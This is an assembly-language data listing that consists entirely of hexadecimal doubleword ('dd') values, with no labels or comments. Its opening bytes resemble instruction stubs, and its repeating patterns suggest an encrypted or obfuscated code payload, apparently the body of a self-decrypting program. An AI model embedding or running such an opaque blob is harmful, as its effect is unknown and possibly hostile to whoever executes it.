dd 8916A935h, 1209A18Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 8BECE253h, 121C1985h
dd 14E806h, 9FA60000h, 74C8ED8Dh, 0E7D5C551h, 0DD975B86h
dd 0DC119474h, 0BE9CDF0h, 0D4000000h, 1515BDD2h, 45BE3C3Dh
dd 0C75BAA9Ah, 12050585h, 6C3406h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 5270BDCFh
dd 0A4E713h, 8B66A6C6h, 0D985C7DFh, 6121Bh, 89000000h
dd 122ED18Dh, 0F1B5FF06h, 0F906122Bh, 1B3195FFh, 6A0612h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 51F72CC3h, 0F94CB0E6h, 95FF006Ah, 61219CDh, 5FEBC08Bh
dd 578C159Ah, 0DB13866Fh, 6ED0EC93h, 0DAB6C610h, 75F5AF94h
dd 57EC68F2h, 0D14D63CFh, 0ADDC9C0Eh, 793A17E9h, 49B27413h
dd 0D4827CE8h, 8572E90Eh, 0DAF9CAFh, 4F03844Ch, 271EF01h
dd 0D749429h, 0B98AB433h, 84FDE05Bh, 9914A692h, 5873A2A9h
dd 0FA8EC9E1h, 2FFBA440h, 0AE71E3C5h, 5388687Eh, 5DB1605Ch
dd 0E8B132AEh, 58D13254h, 0A3D0E4E1h, 0D5B37479h, 0EC333D36h
dd 7AB13256h, 0BAB132D7h, 9B5BB356h, 0CFA2140Eh, 0DCD13256h
dd 0A9313D86h, 85B13256h, 0E658530Ch, 0F7B13256h, 0C923799Bh
dd 7397389Eh, 0AE5C7920h, 52595256h, 8FB13256h, 56655F6Eh
dd 7B6FB330h, 9A30686Bh, 0E48646D0h, 0B4B13237h, 0AEB13253h
dd 0BFDAE5CCh, 0CBB132E8h, 12E7B9E8h, 0E9353D27h, 13B13256h
dd 2DD0FCDDh, 5CB16BA3h, 52B13256h, 57B0B859h, 0AB4D3256h
dd 0DB363D56h, 3B13256h, 75B1325Fh, 6E4F16A8h, 0F162F1CCh
dd 0F507A47Fh, 57B13556h, 14BE5256h, 0B4EA638Eh, 6DBE3256h
dd 75B13240h, 0BAB123BFh, 42EFD156h, 979F61B2h, 0B5493200h
dd 79EF1E05h, 6AD10699h, 0FAC81779h, 75D0F3DDh, 0BABDDB56h
dd 5E843256h, 35CAAC58h, 4402F685h, 0ABB17140h, 260A5436h
dd 0EAB15397h, 7AB132AAh, 0BAB128DBh, 49313D56h, 47B13256h
dd 57B13259h, 0F5D9F67Ch, 5DBB90E0h, 0FF363FD6h, 7A5CC121h
dd 0BAB133DCh, 5DB1CE56h, 0AEB1C7AAh, 57BFDB36h, 8953256h
dd 8C4676FFh, 9E5F9C37h, 21A798B9h, 0F857B330h, 5DB153ADh
dd 0A30B5436h, 36D1619Fh, 0ABB15309h, 0D5BDDB36h, 0FB1A3256h
dd 0F25958FFh, 663C6E10h, 3C44237Ah, 0AEBBB659h, 0D6D13256h
dd 0FE235094h, 0B47EB920h, 0E5D13256h, 75B131D0h, 710E3D56h
dd 52B13237h, 0AEB13ED3h, 57B6DB56h, 632C3256h, 0E655CDD2h
dd 1FB132ABh, 0F6BE3256h, 0BAB1325Eh, 260E5436h, 0CFE96407h
dd 0DDBE3256h, 0ABB13257h, 29B132AAh, 0EA483256h, 75B1CE56h
dd 0B5B132AAh, 5DB13AD2h, 0AC353D56h, 37B13256h, 42B13237h
dd 0D5B1325Ch, 0DF5EF725h, 0A9BB8CADh, 0BAB10E15h, 0F876B336h
dd 0CF953AB4h, 57B13254h, 82B13256h, 44D9E4Eh, 4D6B4979h
dd 0DF66E12Ah, 3963F838h, 5DB1B524h, 0A6B6E5AAh, 50B13056h
dd 89B13D56h, 55B13B56h, 0B0E4C354h, 0D1A39914h, 0B50F26DBh
dd 5DB133D3h, 57D0C756h, 43583256h, 92B13256h, 0C2C19A33h
dd 0A63D0E1Dh, 0ACE80DC3h, 355AA48Bh, 52DFC648h, 0AEB12AD9h
dd 36D15256h, 0ABB13DBFh, 632C1A56h, 0C4EE1231h, 0B7AC2D9Bh
dd 2219AF04h, 52B13237h, 0AEB13FDCh, 0D20A5256h, 2A86F2C1h
dd 0FB39F3B5h, 0EAB1534Eh, 75B9BA59h, 37BE3256h, 5DB13254h
dd 0AEB15336h, 0AEB132AAh, 0ABB13EBFh, 26A8D256h, 0E9D34319h
dd 0F9A93BDBh, 53B1321Eh, 5DB13251h, 0C4ED673Dh, 5758EB5Bh
dd 2AB37856h, 0B409D0B4h, 60BE3256h, 75B13246h, 0BAB139BFh
dd 6C793256h, 0D4D6926Bh, 7EA20E56h, 0A9FB3256h, 0D5A0DB56h
dd 782C3256h, 0F3344133h, 5B33315Fh, 4BD68E45h, 16F1A1D9h
dd 57B13256h, 79B13256h, 0CBE892F5h, 0C0A4FEA9h, 83208A4Dh
dd 387C56A1h, 3D803DC5h, 0AEB138BEh, 0BFBAE856h, 3F569457h
dd 8C32006Bh, 7A9D8830h, 25E96837h, 0B158AE36h, 8AB13256h
dd 0DD539F92h, 989F9B66h, 6231570Ah, 0D5B7DB1Eh, 2DB73256h
dd 16232FA2h, 0BA2753CBh, 0F82D3256h, 8F39192Ch, 0A853510h
dd 0F2119184h, 0C07DCD48h, 0BA2C297Ch, 2F803D04h, 0E2EB530Eh
dd 219526DFh, 0AEB7DB75h, 0B0173256h, 28830FC2h, 452153CBh
dd 0C301C134h, 906D7DF8h, 0EAB1B937h, 3DE36204h, 47803D37h
dd 57B13245h, 0C1E43E69h, 0E360CA0Dh, 28BC9661h, 7BB82285h
dd 0E0740E79h, 0B4803D0Eh, 0AEB13250h, 2A6515B0h, 0F3EBF124h
dd 0D19576DFh, 2D16006h, 75B1325Bh, 0BEA6A4E7h, 2D0210BBh
dd 32BE5CBFh, 0BE2D6BF3h, 0ABB13250h, 88853510h, 6BD79184h
dd 9C3B2C98h, 0BAB13242h, 469B279Ah, 5947A3EEh, 0C433FF32h
dd 447FFB86h, 0DE6BB7AAh, 0DBBE53CBh, 6758AE36h, 88B13256h
dd 238832D5h, 24441E89h, 1C02AADh, 491CF681h, 0FB6CB225h
dd 0EAB126BFh, 4FD46E56h, 0BC507ABDh, 0CFACC691h, 70A85235h
dd 0BD64BEE9h, 0F9E1AF8Dh, 8DEB0359h, 0B2E96837h, 75B1325Fh
dd 0E427C443h, 0C70571C2h, 47B13275h, 57B13246h, 7C272378h
dd 0C36A5A41h, 8C3868Dh, 0E101AC83h, 0DCD13256h, 7FAEEDD7h
dd 0CF6E8D59h, 0AE4D3256h, 0A6583256h, 0F5B13256h, 0EFAC3A50h
dd 0CBDDB989h, 8D6D8CA3h, 53583256h, 0B2B13256h
dd 6984AA70h, 0BBA59D9Bh, 0B4BE599Ah, 3B13252h, 75B13251h
dd 0E55EBD74h, 5D3FF131h, 0AEB1CB56h, 37B132AEh, 0AB3D3D04h
dd 8FB13256h, 8AE98D30h, 15B13237h, 20DDFBD7h, 0E0B278Ah
dd 0CF8B60FBh, 57483256h, 0ABB1CA56h, 0D5BBBF59h, 8AD13256h
dd 3A78B337h, 0DBA1446Fh, 3BD13256h, 15F8F8EFh, 1673418Dh
dd 0ABBFDB37h, 0D51E3256h, 0B08024Dh, 7094BD0Eh, 4EBAB441h
dd 0E5D13256h, 0C3E26518h, 57A5DA36h, 0C6813256h, 52FFD7CAh
dd 0EC3D1C8Ah, 4B68DAEAh, 1D49D95Fh, 0B4EB47BCh, 0AEB1325Ch
dd 2C5481C0h, 4F6FBA8Eh, 0B4D0DEB6h, 6FBE3256h, 75B13257h
dd 46B132AEh, 3DD13256h, 5B315336h, 57D0530Bh, 0A5353D56h
dd 3CB13256h, 0EAB1325Fh, 4F79B126h, 199B41E2h, 3DB13201h
dd 57628559h, 0AFB13237h, 23BE3256h, 0D5B1324Ch, 0EAA5B359h
dd 7A583256h, 1B13256h, 1B7AA81Ah, 5495080Eh, 0D44E4B48h
dd 0ABB19A9Fh, 0D5B123BFh, 0EFEF1B56h, 0B8D4FC4h, 5EAA36B8h
dd 67CC6A19h, 0AEB16741h, 57B126BFh, 6CF94D56h, 3109E199h
dd 0F84F085Ch, 6AB46F4Fh, 25B12193h, 0B4B132F1h, 0AEB13259h
dd 0E0CCDD4Bh, 0C1BB86E5h, 195F449Dh, 0E5B882BFh, 75B12BD2h
dd 0BAA5DB56h, 0AA9B3256h, 0B90125B9h, 0C3D596DDh, 3E715D17h
dd 23CA399Dh, 0EAB177BAh, 75BADA36h, 9B0C3256h, 0F2DFFB57h
dd 3FE33C39h, 573F3D4Ah, 0F2B13256h, 7D2D8830h, 1FB13237h
dd 754D3256h, 6F3B5256h, 0B4B13237h, 0AEB13246h, 0A7D634CFh
dd 0FFBB14B8h, 5717632h, 74D328C4h, 0FDBE3256h, 0BAB1325Ah
dd 5DB7B759h, 28BE3256h, 57B13256h, 0AB493256h, 6BD75256h
dd 890829EEh, 1497C3E4h, 0B5583256h, 9BB13256h, 949BCAAEh
dd 6DD70B48h, 57EC54F4h, 0D5B105C6h, 0EAB7B059h, 15D13256h
dd 0DBE86137h, 0EBD13256h, 0CF66B92Dh, 9C085436h, 0ABB153B8h
dd 17305436h, 0E4591B69h, 0F4B13256h, 0E8A3D325h, 0A225581Bh
dd 0D2917C22h, 36EECACCh, 0AB493256h, 0D5B7DB56h, 0C14E3256h
dd 8E5A30BDh, 3FBE3256h, 5DB1325Ah, 0AEB7BA59h, 0D2BE3256h
dd 0ABB13256h, 0D9583256h, 0E8B13256h, 893AFDD9h, 0EDE39E50h
dd 5D712F73h, 0AEBBDB56h, 47253256h, 45296B1Ah, 0BD458268h
dd 69BE3256h, 75B13257h, 53B132AFh, 5DB13242h, 0CFBD83E0h
dd 703577Dh, 6C09CE13h, 9B2C0229h, 2AE816B9h, 754D3256h
dd 0BAB1CB56h, 5DB13ABFh, 412ECA56h, 4CA9FC39h, 5EB132FEh
dd 0DA4D3256h, 0EAB133D7h, 75B1CB56h, 53B132AAh, 5DB13253h
dd 7D96CC1Fh, 4C3D3D06h, 0A4B13256h, 0D5B127D1h, 0EAA1DB56h
dd 0F4BE3256h, 1A14BAFh, 0BB04FC74h, 0EBD89F0Ah, 57B1C0DDh
dd 0ABB123BFh, 96614556h, 83E53746h, 0FB2ADAE8h, 3E4F6662h
dd 5DB10733h, 0AEB2BB59h, 0ABD13256h, 0CBB13237h, 0DA6F8559h
dd 0EAB134DFh, 9A43B356h, 0DBA9C072h, 0DFBE3256h, 0AEB1324Fh
dd 0B8898B36h, 0A6582158h, 42B13256h, 0D3DE4206h, 0F1966BB3h
dd 7C737BAAh, 0B4B13237h, 0AEB13253h, 8145F4B8h, 53B13232h
dd 0DAD13256h, 0EAB133D1h, 75D0CA56h, 0B6303D56h, 0B4B13256h
dd 0AEB13251h, 310F0D52h, 0AB938F37h, 0C7595256h, 1DB13256h
dd 0E4AB893Eh, 0F2019042h, 0ACD39D8h, 434B9F89h, 57323D29h
dd 0F0B13256h, 0B47B8D59h, 0E5D13256h, 75B131DBh, 6A0E3D56h
dd 5DB6DB36h, 0F1593256h, 5C7D8230h, 0CAEB623Ch, 29B13237h
dd 0F9583256h, 10B13256h, 0C32FEE81h, 0B0CBC029h, 0D3A0A5A9h
dd 141F6E2Fh, 0ABB1DB80h, 3F69B336h, 0B8F18A28h, 75B126BEh
dd 1671A256h, 0BF57D1D2h, 44E964D7h, 8F708616h, 50C37D48h
dd 0B4E96BBBh, 0E3583256h, 82B13256h, 8BB8069Fh, 0C3CA81DAh
dd 0A1D13256h, 57B134DAh, 0AB3F3D56h, 3CB13256h, 0EAB1325Bh
dd 0ED64BEA5h, 89D460ECh, 0CCBABBFAh, 0AEB1536Dh, 0D04E8836h
dd 0CA4937D5h, 0D5483256h, 8CE05256h, 15EEF9DDh, 0BAB13EBFh
dd 6A330356h, 0C2D4F7F7h, 0A377DC86h, 0F45FB280h, 0D5B15337h
dd 8C2A8336h, 8174FBD7h, 53B13237h, 5DB13259h, 0F89E8483h
dd 95810C38h, 7380CFB1h, 0D55D7A38h, 0FA383D56h, 15B13256h
dd 0BAB135BFh, 565B1756h, 19B5086Eh, 0BED05336h, 0ABB1325Ch
dd 91C8E7B9h, 0C4226F11h, 75B15D2Fh, 0DAB132AFh, 5EF6200h
dd 0CF7B8559h, 0BFD13256h, 0ABB13251h, 0C0849B64h, 610CC88Bh
dd 0F1BE6D80h, 0BAB13257h, 5DB153AFh, 0AEB13EBFh, 8BFE056h
dd 0E4FDCC1Ah, 0ED9EAA06h, 3B13218h, 75B13246h, 15A1FF0Fh
dd 60AA99E7h, 0E659F7C4h, 0D486280h, 0AB443256h, 0D5BADB56h
dd 0EB623256h, 0B6466CDDh, 79C7A4C8h, 575952D9h, 0F5B13256h
dd 0FFE45DEAh, 415D5FD6h, 0F371B2DAh, 8BD8810Ch, 9CD13256h
dd 0BAB13258h, 0A699AA95h, 92783DB5h, 5DB263DCh, 0ABD08139h
dd 0D5A1DB56h, 4BAB3256h, 86D42044h, 0BCA9818Dh, 0DD659EE6h
dd 46D1D48Fh, 57B1325Ah, 21E9446Bh, 0B3BFC933h, 0E9B3A167h
dd 75D06AAFh, 0B54D5256h, 5DB134D5h, 0AE3B3D56h, 36B13256h
dd 57B132A3h, 5FBE3256h, 0EAB1325Fh, 0CB48B836h, 0A15C27A2h
dd 0D3BE5237h, 0AEB13256h, 6267B330h, 0ABB153E0h, 0DAB132AFh
dd 0EAB135D8h, 743A3D56h, 4FB13256h, 0B5D13256h, 0AEB13258h
dd 0D5F88E4Bh, 4A796209h, 0EA00E90Fh, 1A0EC193h, 2E872BE6h
dd 0A89FE5D7h, 52D01E58h, 0AEB13AD8h, 95305256h, 0EFDAAA20h
dd 0B5B13237h, 8B7FB930h, 75443256h, 0BAA2DB56h, 1B3C3256h
dd 0F4D5306Ch, 1296E2CDh, 0D3DC662Fh, 6012E2C1h, 0ED373D4Fh
dd 7AB13256h, 0BAB133DDh, 5DB1C756h, 57B132AFh, 43583256h
dd 0B7B13256h, 36061F8Ah, 40C968BDh, 61ADBDFh, 0E7F1BBA5h
dd 5D8F8D70h, 7F3A5256h, 367FB930h, 0ABB123BFh, 0F7789F56h
dd 20936D52h, 440210A8h, 247EEE60h, 5DB1661Ch, 0AC333D36h
dd 7B13256h, 630F540Ch, 6AD1535Fh, 0E80B9818h, 71BB8D30h
dd 0DAB13237h, 5DD0C0DDh, 0B63C3D56h, 37B13256h, 0ABB13FBEh
dd 2EF29B56h, 62993DEAh, 16E92758h, 3AEA7F72h, 0A4D02D91h
dd 0AE483256h, 57A2DB56h, 5E733256h, 231636FCh, 0C2CAA726h
dd 0D1F4FA32h, 0D58DAE38h, 52B13283h, 0AEB137D9h, 0DCD75256h
dd 0CDD15391h, 4F18FAD7h, 0A6085406h, 75D06801h, 0BABCDB56h
dd 85DF3256h, 3BEA9E53h, 0E473F6E2h, 0ABB43807h, 0D5B4DB56h
dd 0F2953256h, 89EA92F7h, 53D13256h, 5DB13253h, 0B895A45Ah
dd 8C305248h, 0D5E94E27h, 77BB330h, 0EAD05382h, 75B1CB56h
dd 0BAB0BA59h, 5D483256h, 0A53C3D56h, 0BEB13256h, 0ABB13250h
dd 0A16E1A1Ah, 0EAB19E38h, 86305436h, 0DB4DCDB2h, 5DB139BFh
dd 0CB8D4056h, 0B725572Bh, 8F4810EAh, 0D5483256h, 0EAB8DB56h
dd 99273256h, 9C0EECB3h, 5D390FDFh, 0BD58CB56h, 0D9B13256h
dd 0DB3FAD07h, 0E1C50F4Bh, 5A1B0BDCh, 1221BE96h, 0BAB16CFCh
dd 0A5B132AEh, 0C8D13256h, 0EDD7F3DDh, 0ABD06373h, 0D5A3DB56h
dd 6E793256h, 8882D6A9h, 0B4A72633h, 7D8B7E8Dh, 1B4B97FEh
dd 0D9BE3256h, 0ABB1324Eh, 3D77B936h, 0EAB13258h, 32833A33h
dd 1D6DFCBDh, 0A66C2E48h, 0CFEF3A10h, 0BEB132AFh, 0ABB1325Dh
dd 4AE0BC38h, 0D7AC42D8h, 753B0622h, 0BAB4DB56h, 15453256h
dd 0AE4AEEF4h, 57A2DB56h, 46C13256h, 89CE71DBh, 0EC5556A2h
dd 0B863F692h, 1A56FD4Dh, 3DB132B7h, 0A1738D59h, 57B133D3h
dd 0ABD0CE56h, 0D9373D56h, 0E5B13256h, 75B134D6h, 0BA3B3D56h
dd 5DB13256h, 0AEB1CB56h
dd 57B139BFh, 0D6B4B956h, 7A713B93h, 10BB9637h, 0F4D13256h
dd 0BD35A9B0h, 8A305435h, 0AED0C55Eh, 0BED1C756h, 0ABB13258h
dd 5D22C578h, 8CD4A5E5h, 427771C8h, 31D75353h, 5DB153A1h
dd 5F3A5436h, 3676F5D6h, 0AD583256h, 28B13256h, 979294ADh
dd 15B13295h, 0B5E86536h, 5DB132DEh, 79315356h, 0AED153ADh
dd 0ABD0FADDh, 0D93D3D56h, 0E5B13256h, 75B134D4h, 0BA3D3D56h
dd 5DB13256h, 0B23F3D56h, 37B13256h, 4367B930h, 0D5B13247h
dd 0F148F15Eh, 0A90A180Dh, 6C5246D4h, 0DE2B261Fh, 0AED06C2Ch
dd 57BCDB56h, 73273256h, 74DC2D8Bh, 5FFCCD35h, 75BA7AF5h
dd 0BB373D56h, 0A1B13256h, 2FD13256h, 34DB74BDh, 0ABB15325h
dd 6E60B336h, 3876C00h, 75B13259h, 1FDA2046h, 70BE554Dh
dd 0F38CCE6Eh, 3625DF57h, 0A2583256h, 0ACB13256h, 7AF0FD73h
dd 7DA33594h, 0AB583256h, 0F3B13256h, 507C3595h, 21FD6595h
dd 686DB8BFh, 0EFECF3Bh, 68BE3256h, 75B1324Eh, 0BAA3BA59h
dd 50583256h, 0C9B13256h, 0A3CB7124h, 0B54EAC7Ch, 80404432h
dd 0EAB135BFh, 0E77B1C56h, 3B5C6EAh, 0DEBE3256h, 0AEB13241h
dd 57B120BFh, 0C91F1F56h, 6D06CE7Ch, 6E2058AEh, 7FA74AE0h
dd 0BA0137F2h, 5DB7DB56h, 0C5643256h, 0C8637C20h, 52493256h
dd 6CD13256h, 0BD138E3Bh, 658FF2E9h, 0BAB15368h, 3DB132AFh
dd 0AEBEDB36h, 26B93256h, 0AA680793h, 9E99FA07h, 1D9029B9h
dd 0FDBE53FAh, 0BAB13254h, 5DD06A07h, 0AEBCDB56h, 0D6823256h
dd 97F6CF63h, 4F07B43Eh, 8AB6C62Bh, 75B134BFh, 9305DA56h
dd 3C4EF170h, 25D13256h, 0A5305289h, 0D3C606C8h, 0B4608D59h
dd 0E5B13237h, 75B138DBh, 5BE5256h, 0AC3054A4h, 0AED0ACE0h
dd 57B1CB56h, 0ABBAB159h, 0D3583256h, 66B13256h, 31275E15h
dd 53B132CCh, 5DB13245h, 0DAF31F9Fh, 0AD823975h, 7470965h
dd 58AB8DB4h, 0EA7047ECh, 0BA3A5256h, 0BAB153AFh, 5DBDBF59h
dd 0A9583256h, 0FAB13256h, 0A75238C9h, 0D5B1A0CDh, 13B132AFh
dd 73583256h, 0A0B13256h, 9CC84A09h, 0AEB9DBFDh, 0B6FE3256h
dd 1D29A340h, 0D5B1AE62h, 0EAA7BC59h, 64583256h, 29B13256h
dd 3918B149h, 0D3680B2Dh, 8EC81227h, 184A6A6Bh, 0DAD13256h
dd 0EAB137D8h, 0A2318C56h, 31D72D32h, 5DB15399h, 0AEA5BD59h
dd 58583256h, 0E3B13256h, 7B02E36Eh, 901F075Eh, 1DA0BAE7h
dd 0BAB18E53h, 0B4B132A3h, 0AEB13244h, 4DFBAE8Ah, 0E58F767Ch
dd 65F4FE5Ch, 25612103h, 75B17C14h, 0BAB123BFh, 9929ED56h
dd 45CD2D30h, 0EA1FFCFBh, 6C367D0Fh, 0D5B19102h, 0EAA2DA36h
dd 8C093256h, 4CF1AEE4h, 5057365Dh, 10D07BCBh, 15E10BC6h
dd 0AB363D2Fh, 8FB13256h, 0EAB134BFh, 71432B56h, 0DB0F4679h
dd 0D5BE3256h, 0AEB13250h, 0E7D05236h, 0ABB153C8h, 0D5A1DB36h
dd 7C3256h, 9628CC35h, 0CED759B3h, 371C3DB1h, 0F0E0B922h
dd 37B13237h, 0ABB2B359h, 6ABE3256h, 0E83E3D9Dh, 0FEB13256h
dd 34BE53A5h, 5DB1325Eh, 0AEB3BA59h, 36D13256h, 0AC583256h
dd 0CFB13256h, 5AEC60D4h, 75B1958Bh, 6D305436h, 7D090DAFh
dd 0CF9DDAC1h, 57B9B059h, 2DBE3256h, 0D5B13254h, 0EAB15336h
dd 75B138BFh, 0AF732C56h, 0CD85D8D2h, 0A12505C9h, 57B127D0h
dd 0ABA1DB56h, 5BB83256h, 9DBF086Ch, 0D48FF3F4h, 0DAFB50D8h
dd 5DB1B955h, 0AEB135BFh, 0ADC58956h, 95E3CF98h, 57BE3256h
dd 0EAB13252h, 14EF6336h, 3EBE3256h, 5DB1325Ah, 0AEB7B759h
dd 0D7BE3256h, 0ABB13256h, 0D3583256h, 33B13256h, 0AFC86153h
dd 4FB1321Bh, 5DBBB459h, 24D13256h, 8079B3A6h, 0CAA1A11Eh
dd 0B5D13256h, 41DCDCD7h, 0F0BE4F67h, 0BAB13256h, 5DB6DB37h
dd 3A83256h, 94CF1912h, 0ABB15381h, 0D5B120BFh, 0EF48F756h
dd 0D500B0E5h, 4E2069Dh, 1651EB44h, 0AE05F5F1h, 57A1DB56h
dd 0A64C3256h, 60311274h, 5AA53D2Eh, 0F3A37FDCh, 0BAB1A7CEh
dd 3CC68236h, 0AE4D3256h, 57B1CE56h, 0ABB137BFh, 95410B56h
dd 0EAB130ACh, 75B13BBFh, 17F51D56h, 9140DDD7h, 2DBE79CCh
dd 57B1325Eh, 0ABB3B559h, 0B4D13256h, 0EA483256h, 79373D56h
dd 0B5B13256h, 5DB134DBh, 0AE3E3D56h, 57B13256h, 0ABB6DB56h
dd 0FE5A3256h, 28739FC1h, 15B13207h, 0DC6FB930h, 0D09BD2D7h
dd 0AEB1CB37h, 57B0B259h, 0AB443256h, 0C6595256h, 0BB13256h
dd 0DFC035E1h, 687647EEh, 9A17A5C8h, 0A7C97DBh, 8E0F5A0h
dd 0ABB1530Fh, 2DB132AAh, 0EA4D3256h, 7AD15256h, 0BAB132D6h
dd 4E62B256h, 0EA52B337h, 36AEC954h, 0AB493256h, 0C53B3D56h
dd 3B13256h, 75B1325Dh, 47717507h, 10F794F2h, 0AEDBE740h
dd 1C085256h, 0FDD65AB2h, 0D5B122BFh, 21C0E456h, 49E24081h
dd 46EA4722h, 99EDDDA0h, 0AED06DFCh, 5B303D56h, 0A4B13256h
dd 0D5B134DDh, 0EA3B3D56h, 75B13256h, 0B5D15256h, 0D1BEF5E9h
dd 0AEB13256h, 57B15337h, 7A063D36h, 0D5B153AEh, 0EAB0B359h
dd 754D3256h, 0BAB1CE56h, 5DB134BFh, 6B84F56h, 37E3F612h
dd 0A49582E9h, 4F0B5463h, 0EAB15350h, 75B120BFh, 0EAD74D56h
dd 2D70AEBFh, 307D0720h, 883A223Fh, 0AB4BC9E7h, 0D5B8DB56h
dd 0DCE3256h, 4502A186h, 0BA29FAF7h, 5DB1CB56h, 0E40B5436h
dd 0DDBE5382h, 0ABB13243h, 0D5B122BFh, 2E04C656h, 3B6C33FBh
dd 1A9BAC79h, 0E15F141Ch, 0CEB132E6h, 0FB0E5405h, 22BE6B3Eh
dd 0D5B13247h, 0EAB13EBFh, 0C275F556h, 9C262CA6h, 8282EC47h
dd 0AEB153FFh, 57BCBE59h, 0CDD13256h, 5D1CF2D7h, 0EAB1B959h
dd 75D03256h, 0BAB1CE56h, 3DB132AEh, 36FAD8D7h, 5B582F87h
dd 68B13256h, 65343F88h, 4F7D5843h, 14885980h, 8A085436h
dd 0C085455h, 0AEB153DAh, 57B138BFh, 82C62956h, 5E688DE1h
dd 1F9DEBC0h, 9CD13256h, 0BAB1325Ah, 117DD11Ch, 4C96A503h
dd 0AA62D02Eh, 0DAD3E3D7h, 0D5D02BF0h, 6BBECB56h, 75B13257h
dd 46B132A3h, 0DCBE3256h, 0AEB1324Eh, 57BADB36h, 85513256h
dd 0B1FA4D9Eh, 0E0B9DF9Bh, 0AD59B330h, 0DBBA53D1h, 5DB137BFh
dd 0D604B256h, 57B12659h, 523A5436h, 0DAD0C2DDh, 0EAB133DBh
dd 75B1CA56h, 0BAB137BFh, 468B1B56h, 0AEB13BD4h, 523E3D36h
dd 0CDB13256h, 97A2D1D7h, 7F7AC5D7h, 75D06937h, 0BABADB56h
dd 31393256h, 884E84F3h, 0F8A6761Fh, 57B13288h, 0DF583256h
dd 0B7B13256h, 92F5AB8Fh, 1C1EDD09h, 52B132F9h, 0AEB133DCh
dd 57B1CE56h, 0ABA2DA36h, 8B453256h, 312524BCh, 97AFE734h
dd 17CD3B9Fh, 73F478DFh, 0F7D0528Dh, 36EBC0D6h, 0AB4D3256h
dd 0D5B1CB56h, 0EAB13BBFh, 0AB6A756h, 0BDDA9626h, 5DB175B3h
dd 56B132A3h, 584D3256h, 0ABB138DFh, 0D5B4DB56h, 0E9A53256h
dd 75BA1909h, 0BB363D56h, 0A5B13256h, 0AE483256h, 0EE495256h
dd 95E2F0B1h, 0DAB13237h, 0EAB133D9h, 75B1C756h, 0BAB5BD59h
dd 0AD13256h, 0C8D15308h, 0EF7CF9EDh, 8995D435h, 0B5B13237h
dd 4C3F8907h, 0FEEB30CCh, 0BAB15399h, 9A305436h, 5E31B7D8h
dd 57B153C8h, 7B305436h, 0B3D1CF25h, 23710ECh, 75B1325Dh
dd 96A99B29h, 0AB6CCBFBh, 0F0C93398h, 57B15337h, 0ABB13EBFh
dd 0D4075D56h, 37E330C6h, 2F128DD7h, 0DAB13256h, 0D649B930h
dd 0AEB153A6h, 57B138BFh, 718B9C56h, 0D7D32496h, 0EA0D1DAAh
dd 7E3A3D56h, 53B13256h, 5DB13250h, 60216F24h, 0DDBEC2EDh
dd 0ABB13257h, 0B5B132AEh, 0EAB134BEh, 6B1C8956h, 0B5B079DCh
dd 5DB132D2h, 2EE76A56h
dd 36EAAC80h, 24BE3256h, 0D5B13257h, 0E03D3DA3h, 9CB13256h
dd 0BAB13253h, 37309C5Ch, 0A1B13226h, 57B133D5h, 0ABB1CE56h
dd 0D5B126BFh, 1F47E056h, 2131CBD0h, 41A8AA6Ch, 6860F014h
dd 180D869Bh, 58B132D6h, 0ABB13ADCh, 54BE5256h, 0EAB13256h
dd 15B13237h, 0DB4DF4DDh, 52D13256h, 0AEB120DFh, 57BCDB56h
dd 61A73256h, 3CD068BCh, 0C0CD6265h, 147924E0h, 3BD13256h
dd 0E153D7B9h, 0AEA0DB20h, 4C023256h, 1823B9F3h, 12105BF7h
dd 9C4DE908h, 14817E8Fh, 34BE3256h, 5DB13257h, 47B132A3h
dd 57B13250h, 1AD9FF77h, 0D5B18E58h, 0EAB6B259h, 0F7BE3256h
dd 0BAB13257h, 0B4B132A3h, 0AEB1325Bh, 6B8E202Ah, 0C19E6876h
dd 42153E28h, 8AB1320Ah, 75BABA59h, 0BC583256h, 59B13256h
dd 24452862h, 57B153AFh, 765EB336h, 0DABBDE54h, 0EAB132D4h
dd 75B15356h, 3BBECA36h, 5DB13257h, 0AEB153A3h, 57B0BC59h
dd 0AB443256h, 0D5A2DB56h, 0D2A43256h, 45587C2h, 53EE233Fh
dd 0E6E0A087h, 0B740406Bh, 0AFB132A4h, 24BE3256h, 0D5B13257h
dd 1FB132AAh, 0F4D13256h, 7246A180h, 5DB8DA2Fh, 3F433256h
dd 50074FEAh, 200EEE10h, 0D5D06CA6h, 0E23B3D56h, 15B13256h
dd 0A06FB330h, 52D0CA2Eh, 0AEB13EDAh, 51353D56h, 0A4B13256h
dd 0D5B132D4h, 13B13256h, 75B9B959h, 3BBE3256h, 5DB13254h
dd 0AEB15336h, 57B13ABFh, 5C2F8056h, 8C6A33D5h, 13B1325Bh
dd 75483256h, 0BAB1CE56h, 7742B336h, 0C89C37E2h, 57D0E8DDh
dd 0AA343D56h, 20B13256h, 3D13256h, 75B1325Eh, 7DC98F51h
dd 1AE99BE9h, 0AEB4BF59h, 0D6D73256h, 0CA2C3A8Fh, 0D54D3256h
dd 0EB3F3D56h, 80B13256h, 0BA483256h, 5DB1CA56h, 0AEBEDA36h
dd 0ACF33256h, 0EB48F44Bh, 22B29E3Bh, 0D6C4298h, 7679B348h
dd 0E5FD5E13h, 5DB13ABEh, 2D3EB456h, 0B023658Fh, 0EC51B31Bh
dd 8FAC411Dh, 3B13237h, 75B13258h, 656ABD38h, 1C981BD7h
dd 0FDE9AFCh, 57B1DA9Bh, 630E3D36h, 0B5B13237h, 0EAB2B959h
dd 0FED73256h, 0BAB15397h, 5DBAB259h, 0A8583256h, 0CDB13256h
dd 9C029AB8h, 5ED7529Eh, 3B3A5497h, 80B13237h, 0BA443256h
dd 47323D56h, 0CEB13256h, 57B122BEh, 12287656h, 6ED5DBDEh
dd 8C36FA10h, 69129B7Eh, 0DBD16C46h, 0A8B13237h, 0AEB7DA36h
dd 0C01D3256h, 0CA70BD62h, 0B4EB7AE5h, 3D13256h, 75B13258h
dd 0F79FEDD4h, 706B6BB8h, 2AE0F743h, 0D1BED5A0h, 0ABB13257h
dd 0DC5853AAh, 0E7B13256h, 7EACECC5h, 74076033h, 72025236h
dd 0A45853A3h, 0A6B13256h, 0AB2A582Ch, 0CC10B101h, 0EAB1DA54h
dd 0F4EB3256h, 0A23FFABCh, 553F3D50h, 0A1B13256h, 57B130D9h
dd 53D05256h, 36305436h, 8B48402Dh, 75B13ABFh, 98B25B56h
dd 4D39C850h, 2F34BF86h, 58B725DDh, 0ABB13EDEh, 0D3313D56h
